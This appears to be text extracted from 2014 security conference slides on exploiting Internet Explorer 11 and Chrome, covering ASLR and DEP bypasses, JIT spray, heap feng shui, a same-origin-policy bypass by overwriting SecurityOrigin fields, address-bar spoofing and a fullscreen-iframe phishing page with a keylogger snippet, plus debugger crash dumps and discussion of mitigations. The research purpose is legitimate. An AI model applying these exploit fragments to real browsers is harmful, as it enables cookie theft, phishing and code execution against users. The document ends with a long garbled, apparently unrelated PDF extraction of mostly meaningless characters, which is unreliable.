a5,  int  a6)  {  ...  if  (  BlockSize  >  *(_DWORD  *)(hHeap  +  0x5C)  )  {  if  (  *(_BYTE  *)(hHeap  +  0x40)  &  2  )  { SizeToCommit  +=  24; RandOff  =  (RtlpHeapGenerateRandomValue32()  &  0xF)  <<  12; BaseAddress  =  0; AllocaLonSize  =  RandOff  +  SizeToCommit  +  0x1000; flProtect  =  RtlpGetHeapProtecLon((PVOID)hHeap);  if  (  NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,  &BaseAddress,  0,   &AllocaLonSize,  MEM_RESERVE,  flProtect)  <  0  )  { goto  LABEL_146;  } lpAddress  =  (char  *)BaseAddress  +  RandOff;  if  (  NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,  &lpAddress  ,  0,   &SizeToCommit,  MEM_COMMIT,  flProtect)  >=  0  )  {  …  HeapHandle  =  (char  *)lpAddress  +  0x20;  ... } VirtualAlloc  is  not  randomized! Windows  7 [+]  VirtualAlloc 3:  00890000 4:  00990000 5:  00A90000 6:  00B90000 7:  00C90000 8:  00D90000 9:  01030000 [+]  HeapCreate 0:  01260000 1:  01430000 2:  00390000 3:  01630000 4:  00640000 5:  01210000 6:  013F0000 Windows  8.1 [+]  VirtualAlloc 3:  00B20000 4:  00C20000 5:  00D20000 6:  00E20000 7:  00F20000 8:  01020000 9:  01120000 [+]  HeapCreate 0:  018F0000 1:  019F0000 2:  01B20000 3:  011F0000 4:  01C90000 5:  01E00000 6:  019B0000 Windows  7 [+]  Default  HeapAlloc 0:  006D7FE8 1:  006D8FE8 2:  006D9FE8 3:  006DAFE8 4:  006DBFE8 5:  006DCFE8 6:  006DDFE8 [+]  Large  HeapAlloc 0:  01440020 1:  01640020 2:  01740020 3:  01840020 4:  01940020 5:  01A40020 6:  01B40020 Windows  8.1 [+]  Default  HeapAlloc 0:  00CC9198 1:  00CCA198 2:  00CCB198 3:  00CCC198 4:  00CCD198 5:  00CCE198 6:  00CCF198 [+]  Large  HeapAlloc 0:  01A13020 1:  01B49020 2:  01CB7020 3:  01E24020 4:  01FCE020 5:  020DB020 6:  021EE020 ASLR  in  IE  11 bool  __thiscall  Segment::IniLalize(Segment  *this,  unsigned  __int32 a2)  {  …  if  (  PageAllocator::RequestAlloc(*((PageAllocator  **)this  +  5),  *((_DWORD  *)this  +  3)  <<  12)  )  {  lpAddress  =  VirtualAlloc(0,  *((_DWORD  *)v2  +  3)  <<  12,  a2   |  0x2000,  4u);  *((_DWORD  *)v2  +  2)  =  lpAddress;  if  (  lpAddress  &&  !(unsigned  __int8)(*(int  (__stdcall  **)   (Segment  *,  char  *))(**((_DWORD  **)v2  +  5)  +  4))   (v2,  (char  *)v2  +  4)  )  { … } Google  Chrome The  Most  Security  Browser? ASLR  in  Google  Chrome VirtualMemory::VirtualMemory(size_t  size,  size_t  alignment)  : address_(NULL),  size_(0)  {  ASSERT(IsAligned(alignment,  staLc_cast<intptr_t>(OS::AllocateAlignment())));  size_t  request_size  =  RoundUp(size  +  alignment,  staLc_cast<intptr_t>(OS::AllocateAlignment()));  void*  address  =  ReserveRegion(request_size);  if  (address  ==  NULL)  return;  … void*  VirtualMemory::ReserveRegion(size_t  size)  {  return  RandomizedVirtualAlloc(size,  MEM_RESERVE,  PAGE_NOACCESS); } const  int  kPageSizeBits  =  20; staLc  void*  RandomizedVirtualAlloc(size_t  size,  int  acLon,  int protecLon)  {  if  (protecLon  ==  PAGE_EXECUTE_READWRITE  ||  protecLon  ==  PAGE_NOACCESS)  {  for  (size_t  arempts  =  0;  base  ==  NULL  &&  arempts  <  3;  ++arempts)  {  base  =  VirtualAlloc(OS::GetRandomMmapAddr(),  size,   acLon,  protecLon);  }  }  if  (base  ==  NULL)  base  =  VirtualAlloc(NULL,  size,  acLon,  protecLon); } Randomness •  kPageSize  =  2^kPageSizeBits  Bytes  =  2^20  Bytes  =  0x100000  bytes  =  1  MB •  Random  address:  0x04000000  ~  0x3fff0000 •  Align:  0x100000 ASLR  in  Google  Chrome 229a0000 22b00000 22c00000 22d00000 22e00000 22f00000 23000000 23100000 23200000 23300000 23400000 23500000 23600000 … 2e100000 2e200000 2e300000 2e590000 2e800000 2e900000 2ea00000 2ec00000 2ed00000 2ee00000 2ef00000 2f100000 2f200000 … 30000000 30100000 30200000 30300000 30400000 30500000 30600000 30700000 30800000 30900000 30a00000 30b00000 30c00000 … 3bb00000 3bc00000 3bd00000 3be00000 3d000000 3d200000 3d300000 3d700000 3d900000 3db00000 3dc00000 3dd00000 3e100000 … 40100000 40200000 40300000 40400000 40500000 40600000 40700000 40800000 40900000 40a00000 40b00000 40c00000 40d00000 … ASLR’s  Dilemma  1 •  High  Bits –  Heap  spray  &  heap  feng  shui –  pageSize  %  exploitDataCycle  ==  0  =>  Predictable •  Low  Bits –  Can’t  determine  the  values –  Paged  memory  management –  4KB  page –  Heap  manager  -­‐>  Performance •  Heap  spray  &  heap  feng  shui  -­‐>  Useful ASLR’s  Dilemma  1 Garbage  Collect •  V8  Tagged  Pointers  GC Data  Structure •  L  JSTypedArray  length –  J  IE  11 •  J  JSArrayBuffer  length  +  JSTypedArray  iniTalized  =  Exploitable RUNTIME_FUNCTION(MaybeObject*,   RunLme_TypedArrayIniLalize)  {  …  holder-­‐>set_buffer(*buffer);  holder-­‐>set_byte_offset(*byte_offset_object);  holder-­‐>set_byte_length(*byte_length_object); }  FixedArray  Start: 0:000>  dd  3ff08080  L110 3ff08080  0d108121  00007ffc  3ff18aa9  3ff18ad1 3ff08090  3ff18af9  3ff18b21  3ff18b49  3ff18b71 3ff080a0  3ff18b99  3ff18bc1  3ff18be9  3ff18c11 3ff080b0  3ff18c39  3ff18c61  3ff18c89  3ff18cb1 ArrayBuffer  Start: 0:006>  dd  3ff08080+b0000 3•8080  2f20a011  3db080a1  3db080a1  4a4d2800 3•8090  00000080  00000000  3•8f59  214feb7d 3•80a0  00000000  00000000  |  2f20a011  3db080a1 3•80b0  3db080a1  4a4d1040  00000080  00000000 3•80c0  3ed1bd19  214fdb29  00000000  00000000 3•80d0  2f20a011  3db080a1  3db080a1  4a4d1080 3•80e0  00000080  00000000  3•80a9  214fdb55 3•80f0  00000000  00000000  2f20a011  3db080a1 ASLR’s  Dilemma  2 •  OOB  write – Heap  feng  shui  =>  Fixed  relaTve  distance – RandomizaTon↑  =>  Performance↓ •  Some  objects  keep  the  pointers – Object  with  virtual  funcTon •  Vtbl  address – Array •  Object  address – Program  =>  InformaTon  <=  Hacker Bypass  DEP •  Privilege  ↑ – Java  security  manager – IE  security  flags  |  jscript9  security  manager – Kernel  -­‐>  User  token •  Load  external  code – AcTveX – DLL Bypass  DEP •  Data  =>  Code – VirtualProtect – VirtualAlloc •  Code  in  memory – ROP – Ret2libc •  Data  -­‐-­‐>  Code – JIT  Spray – Construct  funcTon  template  in  JIT  pages Bypass  DEP  in  Chrome •  L  Chrome  AcTveX •  J  V8  JIT: Javascript  -­‐>  Machine  code OwnPtr<v8::ScriptData>  scriptData  =   V8ScriptRunner::precompileScript(code); v8::Handle<v8::Script>  script  =   V8ScriptRunner::compileScript(code,  source.url(),   source.startPosiLon(),  scriptData.get()); result  =  V8ScriptRunner::runCompiledScript(script,  m_frame-­‐>document(),  m_isolate); JIT  Code  Read,  Wri>en  and  Executed 0:007>  !address  4029540 Usage:  <unknown> Base  Address:  0400a000 End  Address:  04082000 Region  Size:  00078000 State:  00001000  MEM_COMMIT Protect:  00000040  PAGE_EXECUTE_READWRITE Type:  00020000  MEM_PRIVATE AllocaLon  Base:  04000000 AllocaLon  Protect:  00000001  PAGE_NOACCESS Bypass  DEP  in  Chrome •  Exploit  Idea: – Shellcode  -­‐>  JIT  block – EIP  -­‐>  Shellcode •  Overwrite  the  vPtr  +  call  vFunc •  JIT  block  -­‐>  Execute  in  the  future FuncTon  JIT  Compile  and  Run //  Get  the  codeEntry  stub  of  funcLon,  and  then  execute  the  codeEntry  stub RUNTIME_FUNCTION(MaybeObject*,  LoadIC_Miss)  {  HandleScope  scope(isolate);  LoadIC  ic(IC::NO_EXTRA_FRAME,  isolate);  Handle<Object>  receiver  =  args.at<Object>(0);  Handle<String>  key  =  args.at<String>(1);  ic.UpdateState(receiver,  key);  return  ic.Load(receiver,  key); } //  return  JSFuncLon EAX  =  31121615 3E328B5A  jmp  dword  ptr  [edi+0Bh] EDI  =  31121615 jmp  JSFuncLon.codeEntry //  Compile  the  funcLon RUNTIME_FUNCTION(MaybeObject*,  RunLme_CompileUnopLmized)  {  Handle<Code>  code  =  Compiler::GetUnopLmizedCode(funcLon);  funcLon-­‐>ReplaceCode(*code);  return  *code; } JSFuncLon.codeEntry  =  code  +  0x3f JSFuncLon  =  31121615 >dd  0x31121614 0x31121614  23014629  2fe080a1  2fe080a1  26262020 0x31121624  3c1080a1  31121095  31108081  2fe080a1 0x31121634  3c108091  23008cb1  31121615  23008cb1 0x31121644  31121615  23013021  2fe080a1  2fe080a1 EAX  =  26261FE1 2422975E  lea  eax,[eax+3Fh] 24229761  jmp  eax EAX  =  26262020 jmp  code  +  0x3f Bypass  CFI •  Calculate  staTc  PE •  JIT  -­‐>  Dynamical Demo JIT  MiTgaTon •  Chris  Evans – Captain  Google  Security? – Captain  America? – “JIT  engines  are  a  pain” – “Ban  syscalls” •  W^X  can’t  help! Binary  hacker  is  boring? Cross-­‐disciplinary  AQack 跨界攻击 •  The  same-­‐origin  policy UXSS bool  SecurityOrigin::canAccess(const  SecurityOrigin*  other)  const  { … bool  canAccess  =  false;  if  (m_protocol  ==  other-­‐>m_protocol)  {  if  (!m_domainWasSetInDOM  &&  !other-­‐>m_domainWasSetInDOM)  {  if  (m_host  ==  other-­‐>m_host  &&  m_port  ==  other-­‐>m_port) canAccess  =  true;  }  else  if  (m_domainWasSetInDOM  &&  other-­‐>m_domainWasSetInDOM)  {  if  (m_domain  ==  other-­‐>m_domain) canAccess  =  true;  }  } …  return  canAccess; } UXSS UXSS UXSS •  Overwrite – m_protocol – m_host – m_port – m_domain – SecurityOrigin UXSS  //  Get  current  security  origin  var  v8DocAddr  =  leakAddr(document);  console.log('[+]  Javscript  document  address:  '  +  v8DocAddr.toString(16));  …  var  secOriAddr  =  readDWord(secOriPtrAddr);  console.log('[+]  Security  origin  address:  '  +  secOriAddr.toString(16));  var  hostPtrAddr  =  secOriAddr  +  0x08;  console.log('[+]  Host  pointer  address:  '  +  hostPtrAddr.toString(16));  var  domainPtrAddr  =  secOriAddr  +  0x0c;  console.log('[+]  Doamin  pointer  address:  '  +  domainPtrAddr.toString(16));  …  //  Overwrite  current  security  origin  with  that  of  iframe  page  to  bypass  the  SOP  writeDWord(secOriPtrAddr,  ifrSecOriAddr); Demo X-­‐Frame-­‐OpTons •  X-­‐Frame-­‐OpTons  DENY – Github – Twi>er – Facebook – Gmail Window •  New  window  -­‐>  No  limited •  Pop-­‐ups  -­‐>  Forbid •  Social  engineering Window  //  Get  window's  security  origin  var  jsWinAddr  =  leakAddr(wins[idx]);  console.log('[+]  Javascript  window  address:  '  +  jsWinAddr.toString(16));  …  var  winSecOriAddr  =  readDWord(winSecOriPtrAddr);  console.log('[+]  Window  security  origin  address:  '  +  winSecOriAddr.toString(16));  var  winHostAddr  =  readDWord(winSecOriAddr  +  0x08);  console.log('[+]  Window  host  address:  '  +  winHostAddr.toString(16));  var  winDomainAddr  =  readDWord(winSecOriAddr  +  0x0c);  console.log('[+]  Window  domain  address:  '  +  winDomainAddr.toString(16)); Demo X-­‐Frame-­‐OpTons •  Set  to  the  same  origin •  Get  cookie X-­‐Frame-­‐OpTons •  STll  doesn’t  work  funcLon  appendIframes(urls)  {  iframes  =  [];  for  (var  i  =  0;  i  <  urls.length;  i++)  {  iframes[i]  =  document.createElement("iframe");  iframes[i].src  =  urls[i];  iframes[i].sandbox  =  "allow-­‐same-­‐origin";  document.body.appendChild(iframes[i]);  } } X-­‐Frame-­‐OpTons String  cookie(ExcepLonState&  excepLonState)  {  …  if  (!securityOrigin()-­‐>canAccessCookies())  {  … } bool  canAccessCookies()  const  {  return  !isUnique();  } X-­‐Frame-­‐OpTons •  Overwrite  m_isUnique X-­‐Frame-­‐OpTons X-­‐Frame-­‐OpTons •  Browser  process  -­‐>  Network •  Sandbox  privilege – L  h>p  response  receiving – L  h>p  header •  Browser  -­‐>  Top  frame  ? X-­‐Frame-­‐OpTons Address  Bar  Spoofing •  Top  frame  J •  Change  src  of  iframe  =>  Top-­‐level  navigaTon  =>  Change  address  bar Renderer  process params.transiLon  =  staLc_cast<PageTransiLon>(  params.transiLon  |  PAGE_TRANSITION_CLIENT_REDIRECT); … Send(new  FrameHostMsg_DidCommitProvisionalLoad  (rouLng_id_,  params)); … Phishing •  Full  screen  the  iframe  ==  Total  phishing  iframes[i].frameBorder  =  0;  iframes[i].width  =  "100%";  iframes[i].height  =  "100%"; funcLon  keylogger()  {  iframeDoc.onkeypress  =  funcLon(e)  {  var  get  =  window.event  ?  event  :  e;  var  key  =  get.keyCode  ?  get.keyCode  :  get.charCode;  }  setTimeout('alert("password:  "  +  keys)',  10000); Demo Sandbox  and  SOP’s  Dilemma •  Web  security  mechanisms  -­‐>  Sandboxed  process –  SOP –  X-­‐Frame-­‐OpTon –  Sandbox –  CSP •  Other  browsers? •  Browser  process  trust  IPC  message •  Sandbox  -­‐>  So~ware  security •  SOP  -­‐>  Request  &  display •  J  Memory  corrupTon  =>  Enhance  our  BeEF Site  IsolaTon •  Google  Chrome  security  team – Refactoring  project •  Let’s  look  forward  to  their  work! DEP’s  Dilemma •  Von  Neumann  Architecture  -­‐>  InjecTon –  Command –  Code –  SQL –  XSS •  Control  &  Privilege  -­‐>  Code •  Self-­‐reference •  With  great  power  comes  great  defects –  Biological  virus –  Computer  vulnerability Cross-­‐disciplinary  Analogy  (CDA) •  MathemaTcal  Logic  Paradox – Gödel's  incompleteness  theorems – Liar  paradox •  “This  sentence  is  false.” –   Russell’s  paradox Cross-­‐disciplinary  Analogy •  GeneTc  biology – T4  phage •  AcousTc  resonance Garbage  Collect •  jscript9  -­‐>  conservaTve  GC – Aligned  Dwords  -­‐>  Pointers – Data  treated  as  pointers  -­‐>  Memory  leak – Info  leak  in  IE IE  11  Exploit Execute •  Write  PE  to  Temp/Low – Copy  from  same  domain •  C:\Windows\System32\cmd.exe •  C:\Windows\System32\calc.exe •  Execute  in  Temp/Low – Fake  security  manager  (explib2  by  guhe120) Out-­‐of-­‐date  AcTveX  Control  Blocking •  IE  block  out-­‐of-­‐date  AcTveX  controls – August  2014 – Java  a>ack Summary •  ASLR,  DEP,  Sandbox  and  SOP  -­‐>  Dilemmas •  Availability  &  Performance •  ROI  miTgaTon •  Combat  will  go  on Vulnerability  Exploitable  Analysis Vulnerability  Exploitable  Analysis element.XXle  =  “0xdeadc0de42424242…”; 0:007>  g Breakpoint  2  hit eax=00000000  ebx=0905ff00  ecx=00000091  edx=00000090  esi=00000000 edi=00000000 eip=68719629  esp=034ba7c8  ebp=034ba818  iopl=0  nv  up  ei  pl  zr  na  pe  nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000  efl=00000246 MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic  atexit destructor  for  'fieldDefaultValue''+0x188124: 68719629  8b03  mov  eax,dword  ptr  [ebx]  ds:0023:0905ff00=dec0adde 0:007>  dd  ebx 0905ff00  deadc0de  42424242  42424242  42424242 0905ff10  42424242  42424242  42424242  42424242 0905ff20  42424242  42424242  42424242  42424242 0905ff30  42424242  42424242  42424242  42424242 0905ff40  42424242  42424242  42424242  42424242 0905ff50  42424242  42424242  42424242  00004242 0905ff60  66e08627  88006569  deadc0de  42424242 0905ff70  42424242  42424242  42424242  42424242 Second  Exploit  Path •  CElement::GetOffsetParentHelper – CTreeNode::GetFancyFormatIndexHelper •  CMarkup::GetGeneratedElement  //  Write  memory •  Tree::FirstLe>erBuilder::ComputeFirstLe>erFormats –  Layout::ContentReader::GetTopWindow »  Tree::ElementNode::FirstChild  //  Infinite  loop Second  Exploit  Path •  Modify  VarArray  Capacity – Separate  large  JavascriptNaJveIntArray  or JavascriptArray  Spray Second  Exploit  Path 0:007>  dd  0d1e0000 0d1e0000  00000000  00000ff0  00000000  00000000 0d1e0010  00000000  000003f8  000003f8  00000000 A^er  p:  00000000  000003f8  043803f8  000008a5 0d1e0020  0eadc0db  41410011  41410021  41410031 0d1e0030  41410041  41410051  41410061  3d0d619d 0d1e0040  41410081  1dff5e91  4141000d  1dff19b1 0d1e0050  0d0d610d  414100d1  414100e1  414100f1 0d1e0060  41410101  41410111  41410121  41410131 0d1e0070  41410141  41410151  41410161  41410171 array  capacity 0:007>  dd  0d21f000 0d21f000  6734b238  082d56e0  00000000  00000000 0d21f010  00000004  00000000  00000000  00000000 A^er  write:  00000004  00000000  ffffffff  00000000 0d21f020  0425d740  00000000  00000000  00000000 0d21f030  6734b238  082d56e0  00000000  00000000 0d21f040  00000004  00000000  00000000  00000000 0d21f050  0425d740  00000000  00000000  00000000 0d21f060  6734b238  082d56e0  00000000  00000000 0d21f070  00000004  00000000  00000000  00000000 Demo IE  11  MiTgaTon •  New  exploit  miTgaTon  improvements – June  2014 •  UAF  objects  -­‐>  Isolated  heap BOOL  __stdcall  _DllMainStartup(HINSTANCE  hinstDLL, DWORD  fdwReason,  LPVOID  lpReserved)  { …  if  (  fdwReason  ==  1  )  {  ++trirt_proc_arached; IniLalizeCriLcalSecLon(&g_csHeap); g_hProcessHeap  =  GetProcessHeap(); HeapSetInformaLon_LowFragmentaLon_Downlevel(g _hProcessHeap);  //  If  dwMaximumSize  is  0,  the  heap  can  grow  in  size g_hIsolatedHeap  =  HeapCreate(0,  0,  0); … signed  int  __userpurge  CInput::CreateElement<eax>(int a1<edx>,  int  a2<ecx>,  struct  CHtmTag  *a3,  struct  CDoc  *a4, struct  CElement  **a5,  enum  _htmlInput  a6)  {  …  v8  =  _MemIsolatedAllocClear(0xC0u);  if  (  v8  )  v9  =  CInput::CInput(v8,  *(_DWORD  *)(v6  +  4),  v7);  … } LPVOID  __thiscall  _MemIsolatedAllocClear(   SIZE_T  dwBytes)  {  return  HeapAlloc(g_hIsolatedHeap,  HEAP_ZERO_MEMORY,  dwBytes); } Isolated  Heap g_hIsolatedHeap g_hProcessHeap CTreeNode CTreePos CXXXElement  (DOM Element) CXXXPointer CSVGXXXElement  (SVG Element) XXXBox CUnknownElement CMarkup Cwindow  … CHtmXXXCtx CStr CDocument CImplAry CArrArray DrawData XXXBulider Layout XXXCache ... Isolated  Heap IE  11  MiTgaTon •  How  to  defeat? – Occupy  objects  in  isolated  heap – UAF  objects  not  in  isolated  heap – Other  kinds  of  vulnerabiliTes Google  Chrome  MiTgaTon •  ParTTonAlloc – DOM  Node – RenderObject – ArrayBufferData – Others ParTTonAlloc class  PLATFORM_EXPORT  ParLLons  { … staLc  SizeSpecificParLLonAllocator<3072>  m_objectModelAllocator; staLc  SizeSpecificParLLonAllocator<1024>  m_renderingAllocator; }; class  WTF_EXPORT  ParLLons  { … staLc  bool  s_iniLalized; staLc  ParLLonAllocatorGeneric  m_bufferAllocator; }; staLc  ParLLonAllocatorGeneric  gParLLon; Google  Chrome  MiTgaTon •  How  to  defeat? – Corresponding  occupy  objects – Pinkie  Pie  Legend  2: •  ExploiTng  64-­‐bit  Linux  like  a  boss •  MiTgated Javascript  Binding  Integrity How  to  Exploit? •  ROI  exploit •  Liebig's  law •  Unprotected  objects •  Unprotected  vulnerabiliTes Summary •  Popular  vulnerabiliTes  -­‐>  MiTgate •  Universal  techniques  -­‐>  MiTgate •  Individual  exploitaTon  techniques – Browser  implementaTon Caught  a  Read  Access  ViolaLon  in  process  5356  at  2014-­‐06-­‐17  10:29:08  with  a  crash hash  of  814D8BA5.9114650A Registers:  eax  =  0x7D8A4B38 Code:  0x6A091F74  -­‐  mov  ecx,  [eax]  0x6A091F76  -­‐  push  69fecaf0h  0x6A091F7B  -­‐  push  eax  0x6A091F7C  -­‐  call  dword  ptr  [ecx] Call  Stack:  0x6A091F74  -­‐  mf!offset_000D1F74  0x64D7B32F  -­‐  mshtml!CMediaElement::CMediaEngineExtension::EndCreateObject  0x70FDE997  -­‐  mshtmlmedia!CAsyncCreateObject::Invoke  0x73241F7B  -­‐  mfplat!CCompleLonPort::InvokeCallback  0x73241B3C  -­‐  mfplat!CWorkQueue::CThread::ThreadMain  0x73248CAB  -­‐  mfplat!CWorkQueue::CThread::ThreadFunc  0x764D1287  -­‐  msvcrt!_endthreadex  0x764D1328  -­‐  msvcrt!_endthreadex  0x7768EE1C  -­‐  kernel32!BaseThreadInitThunk  0x778537EB  -­‐  ntdll!__RtlUserThreadStart  0x778537BE  -­‐  ntdll!_RtlUserThreadStart (220c.13b0):  Access  violaLon  -­‐  code  c0000005  (first  chance) First  chance  excepLons  are  reported  before  any  excepLon  handling. This  excepLon  may  be  expected  and  handled. eax=00000000  ebx=10761ab0  ecx=643c1890  edx=1c49bc00  esi=00000000 edi=0b41cb1c eip=6669555b  esp=0b41c9ec  ebp=0b41c9f8  iopl=0  nv  up  ei  pl  zr  na  pe  nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000  efl=00010246 IEFRAME!CProxyAcLveObject::TranslateAcceleratorW+0x6d: 6669555b  8b4b04  mov  ecx,dword  ptr  [ebx+4]  ds:0023:10761ab4=???????? 0:019>  kb ChildEBP  RetAddr  Args  to  Child IEFRAME!CProxyAcLveObject::TranslateAcceleratorW+0x6d IEFRAME!CDocObjectView::TranslateAcceleratorW+0x6d IEFRAME!CWebBrowserSB::_TranslateAccelerator+0x42 IEFRAME!CWebBrowserOC::TranslateAcceleratorW+0x1e IEFRAME!CProxyAcLveObject::TranslateAcceleratorW+0x2e IEFRAME!CDocObjectView::TranslateAcceleratorW+0x6d IEFRAME!CShellBrowser2::_MayTranslateAccelerator_CCommonBrowser+0x9a IEFRAME!CShellBrowser2::_MayTranslateAccelerator+0x3b IEFRAME!CTabWindow::_TabWindowThreadProc+0x587 IEFRAME!LCIETab_ThreadProc+0x31c iertuLl!_IsoThreadProc_WrapperToReleaseScope+0xe IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x71 (1a94.12e0):  Access  violaLon  -­‐  code  c0000005  (first  chance) First  chance  excepLons  are  reported  before  any  excepLon  handling. This  excepLon  may  be  expected  and  handled. eax=00000000  ebx=003b6cc8  ecx=08c4e100  edx=08c4e0d8  esi=003b6ccc  edi=00000000 eip=651310dc  esp=07baf6f8  ebp=07baf718  iopl=0  nv  up  ei  pl  nz  na  po  nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000  efl=00010202 MSHTML!CMediaElement::CMediaEngineExtension::OnByteStreamHandlerResolve+0x6a: 651310dc  8b08  mov  ecx,dword  ptr  [eax]  ds:0023:00000000=???????? 0:030>  kb ChildEBP  RetAddr  Args  to  Child MSHTML!CMediaElement::CMediaEngineExtension::OnByteStreamHandlerResolve+0x6a MSHTML! CMediaElement::CMediaEngineExtension::CByteStreamHandlerCallback::Invoke+0x16 MFPlat!CCompleLonPort::InvokeCallback+0x12 MFPlat!CWorkQueue::CThread::ThreadMain+0xa5 MFPlat!CWorkQueue::CThread::ThreadFunc+0xd msvcrt!_endthreadex+0x44 msvcrt!_endthreadex+0xce kernel32!BaseThreadInitThunk+0xe ntdll!__RtlUserThreadStart+0x70 ntdll!_RtlUserThreadStart+0x1b Acknowledgements @ga1ois @bluerust @exp-­‐sky @Backend @tombkeeper Yongjun  Liu @ztz @coolq1981 @丅eLeMan @陈良-­‐Keen @guhe120 Chengyun  Chu Bibliography 1.  Fuzzing:  Brute  Force  Vulnerability  Discovery 2.  IntroducTon  to  Browser  Fuzzing 3.  Browser  Bug  HunTng  -­‐  Memoirs  of  a  last  man  standing 4.  h>p://www.chromium.org/developers/tesTng/addresssaniTzer 5.  Taking  Browsers  Fuzzing  To  The  Next  (DOM)  Level 6.  BROWSER  FUZZING  IN  2014:  David  vs  Goliath 7.  h>p://researchcenter.paloaltonetworks.com/2014/07/beginning-­‐end-­‐use-­‐free-­‐exploitaTon/ 8.  Safari  Security  Mechanism  IntroducTon  (Liang  Chen  @  KeenTeam) 9.  Windows  8  Heap  Internals 10.  Understanding  the  Low  FragmentaTon  Heap 11.  h>p://msdn.microso~.com/ 12.  h>p://jayconrod.com/ 13.  h>p://blog.chromium.org/ 14.  h>p://scarybeastsecurity.blogspot.com/ 15.  Gödel,  Escher,  Bach:  An  Eternal  Golden  Braid 16.  Mobile  Pwn2Own  Autumn  2013  -­‐  Chrome  on  Android  -­‐  Exploit  Writeup 17.  The  Art  of  Leaks:  The  Return  of  Heap  Feng  Shui 18.  h>p://hi.baidu.com/bluerust/item/8fffe0e5e60a623c86d9deff 19.  h>p://www.exp-­‐sky.org/windows-­‐81-­‐ie-­‐11-­‐exploit.html 20.  h>p://ifsec.blogspot.com/2013/11/exploiTng-­‐internet-­‐explorer-­‐11-­‐64-­‐bit.html 21.  h>p://blogs.msdn.com/b/ie/archive/2014/08/06/internet-­‐explorer-­‐begins-­‐blocking-­‐out-­‐of-­‐date-­‐acTvex-­‐controls.aspx 22.  h>ps://net-­‐ninja.net/arTcle/2012/Mar/1/heap-­‐overflows-­‐for-­‐humans-­‐104/ 23.  h>p://www.chromium.org/Home/chromium-­‐security/binding-­‐integrity 24.  The  Browser  Hacker’s  Handbook
pdf
! " # $ % & & & ' ! " # $%& ' %& ! " ( ( '$)) *+%& $,%- ! Æ " . ( " . , / ' 0 1 0 , 2 " . " 0 " ' . $%& ' %& ! 3 . ' 4 ' " 5 , . ' 6 7 8 4 8 ( ( . ' . 5 ' 5 8 0 0 . " # . 9 8 0 . : : ; 0 . . . 0 " Æ 8 " . < : . 2 . 0 $ 0 . . . . : . & 4 9 - . , ' 0 : - . . = 4 > . > ? @ 5 A> ! 8 2 ' # ' 05 ' B " ' Æ " 8 25 8 2 , 0 . 4 .8$)A ! < . Æ Æ ( & 4 4 ) * + * , " " 8 # ! ! ! 4 . '$)) *+%& ! " 8 " . 1 $%& ! " . 1 8 ? ' %& ! " 5 8 . . 0 . " 4 . &))A 8 $: 8 ' 4 . '$)) ! C D $ 2 %&! . $,%- ! , 67 C *+%& *+%& ! $3* " " , . " . ' . " ( . . " . Æ ' . ( . . 0 ' E : . . . 8 . F$))! 4 : " #. $ 8F)A 8$%% ! . : 0 0)A ! G G)A ! . . , 4 " F$%- ! 1 61 < 7 8$)A ! " . G . G)A! " . . " " " 8 & % - " B & G " - 4 " A " % -?@ ' % - ' % -?@ - 4 ' ' H > " > + -./ .//0 /012 1232 3240 405-- 5--5-3 5-3556 7 - 5 0 2 . 6 / 1 + 556502 50.520 5205.0 5.056. 56.5/4 5/4533 53305. 05.066 7 3 4 5- 55 50 52 5. 56 " 8 # ' . " - ->-&& " -?@ " 4 0 : ' 0 , ( 8 / . . < . 06- 0-- 56- 5-- 6- 2-- 06- 0-- 56- 5-- 6- - 8 1 " " H > " 4 - " . . " B * 8 H > 1 " B " " 60 " " . 5 . " . " . " 1 1 B . " 4 . 5 5 . 5 " . . . B I 5 E G . + 3 Æ . 8 " - " B G " E " C " 0 . " . " : " Æ . 8 . . . * . $%& ! 1 $3* *+%& ! 1 . , ' . 67 " " . # A > " 8 &@ ' . A > - 4 . &@ " " . ' : " " . " . " . : " . " ' 6. 7 2 / , ' 1 / Æ . D B Æ ( D ' " Æ * F 6 7 , 8 ( 67 ( $ . 8 6 7 8 6# 8 $ ' .7 6D 8 G 87 1 . 67 ( . ( ' 6 . 7 67 / . 1 . . , / B " . 8 2 / J , " 8 2 " : 8 4 " ( " K , L .L G . . , " . 8 . #. $ 8F)A 8$%% ! " #. 4 1 4 #. " . ) &)> " . " . . K " ' 4 A%M ' Æ ?= . 8 ! : . ( . 8 . N 8 : ( 6 . 7 8 . . 1 . ! " # 0 " 8 . 1 . . B ' . . 9*,43: + * ; * , ' 5/<.1.=.35 5443 9*,--: ; *, , 51>6?<63=/. 0--- 9@43: @ @ * 8 * !! " # 2-/=253 ) 5443 + 0--5 @ , * + 0---A-03 <AA A 9@43: ) @ ' 8 * !! " # 266=2/3 ) 5443 9; 8-5: B ; C + 8 + $ $ % 01=2- 0--5 9; 8-5: B ; C + 8 ) C $ % & 0--5 9B: B <AA AA 9B43: B 8 * !! " # 2..=26. ) 5443 9D,44: D ; , * ' % $ ()!* 054=024 5444 9D,-0: ) DE ; * , 8 +)*! % $ 0--0 9, *D43: ; * , + B * D * 8 * !! " # 054=024 )7 5443 9,F-0: , , F 8 , #-./ 0--0 9,-5: , 8 / 01 % % 0--5 9)-5: 8 ) ( " ## 0--5 <AA A0--5A!)A-4A0-A A 9)3.: ) % 2 34, .5( 65=/1 , , 543. 9): ) 2 <AA 9): ) -2 5 <AA 9 -5: * F < ;6 6 2-5=256 0--5 9,44: * * ,E * 4 .77 /5=1/ 5444
pdf
